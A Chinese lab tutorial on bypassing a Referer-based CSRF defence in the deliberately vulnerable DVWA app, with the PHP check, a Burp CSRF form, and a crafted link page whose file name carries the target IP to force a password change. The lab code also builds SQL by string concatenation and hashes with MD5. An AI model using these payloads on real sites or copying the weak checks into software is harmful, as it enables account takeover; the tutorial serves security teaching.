CSRF攻击(2), 绕过Referer防御

CSRF攻击(2), 绕过Referer防御

一. 场景:

py 复制代码
攻击服务器: 192.168.112.202
目标服务器: 192.168.112.200

说明:
1. 前端页面的功能是修改密码.
2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码.

二. 后端防御代码:

php 复制代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

三. 代码分析:

  1. $_SERVER['HTTP_REFERER']: 这是一个超全局变量,它从HTTP请求中提取Referer头部的值。Referer头部表示请求的来源页URL。
    例如,如果你从pageA.html点击一个链接到pageB.html,那么在访问pageB.html时,HTTP_REFERER将包含pageA.html的URL。
  2. $_SERVER['SERVER_NAME']: 这是另一个超全局变量,它包含当前服务器的名称。这通常是与请求相关联的域名或主机名。
  3. stripos(): 这是一个PHP函数,用于查找一个字符串在另一个字符串中首次出现的位置,而不区分大小写。
  4. stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false:
    这是一个条件判断,用于检查SERVER_NAME(即当前服务器的名字)是否出现在HTTP_REFERER中。
    如果出现,则stripos()函数将返回该位置(一个非负整数),否则返回false。
    使用!== false是为了确保检查不仅仅是真假,还要检查数据类型(即确保不是因为位置为0而误判为false)。

四. 绕过方法:

当使用一个普通的表单类型的钓鱼链接时, 比如 http://192.168.112.202/csrf.html

html 复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="root" />
      <input type="hidden" name="password&#95;conf" value="root" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

访问后观察请求头:

py 复制代码
Referer: http://192.168.112.202/

这里看到表单类型的链接, 点击后 Referer 只包含攻击者的ip, 并没有目标ip, 因此被防御.

现在我们需要让 Referer 字段中包含目标服务器的IP, 需要两个步骤:

1. 不能使用表单链接, 而是使用一个的超链接<a>, 超链接被点击后, Referer字段会包含这个html的文件名:

html 复制代码
<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
<img src="http://192.168.112.202/test.jpg"/></a>

这个html页面在202服务器, 但它里面的链接是向200服务器发送请求.

需要注意的是, 现代浏览器对于跨域请求的默认Referer头处理。
当请求是同源的(即在相同的域、协议和端口上),Referer通常会包含完整的URL。
但是,对于跨域请求,许多浏览器的默认行为是仅发送请求的源作为Referer,而不包括完整的路径和查询参数。

为了避免出现这种情况, 可以在HTML文件中使用<meta>标签来设置Referrer-Policy策略.

在HTML中使用<meta name="referrer" content="unsafe-url">标签会指示浏览器在发送请求时使用"unsafe-url"策略,这将导致浏览器在Referer头中发送完整的URL,无论请求是否跨域, 浏览器会根据这个策略发送Referer头.

设置策略为 "unsafe-url":

html 复制代码
<!DOCTYPE html>
<head>
    <meta name="referrer" content="unsafe-url">
</head>
<body>
    <a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
    <img src="http://192.168.112.202/test.jpg"/></a>
</body>
</html>

2. 把这个html文件命名为 csrf_192.168.112.200.html, 重点是文件名中包含了目标服务器的地址, 那么完整的恶意链接就是:

html 复制代码
http://192.168.112.202/csrf_192.168.112.200.html

当这个图片链接被用户点击后观察请求头:

py 复制代码
Referer: http://192.168.112.202/csrf_192.168.112.200.html

这里可以看到 Referer 中由于包含了文件名, 所以就间接包含有目标服务器的ip, 绕过了后端对 SERVER_NAME 的判断, 密码修改成功.

相关推荐
酷爱码1 小时前
css中的 vertical-align与line-height作用详解
前端·css
沐土Arvin1 小时前
深入理解 requestIdleCallback:浏览器空闲时段的性能优化利器
开发语言·前端·javascript·设计模式·html
专注VB编程开发20年1 小时前
VB.NET关于接口实现与简化设计的分析,封装其他类
java·前端·数据库
小妖6661 小时前
css 中 content: “\e6d0“ 怎么变成图标的?
前端·css
L耀早睡2 小时前
mapreduce打包运行
大数据·前端·spark·mapreduce
HouGISer2 小时前
副业小程序YUERGS,从开发到变现
前端·小程序
outstanding木槿2 小时前
react中安装依赖时的问题 【集合】
前端·javascript·react.js·node.js
霸王蟹3 小时前
React中useState中更新是同步的还是异步的?
前端·javascript·笔记·学习·react.js·前端框架
霸王蟹3 小时前
React Hooks 必须在组件最顶层调用的原因解析
前端·javascript·笔记·学习·react.js
专注VB编程开发20年3 小时前
asp.net IHttpHandler 对分块传输编码的支持,IIs web服务器后端技术
服务器·前端·asp.net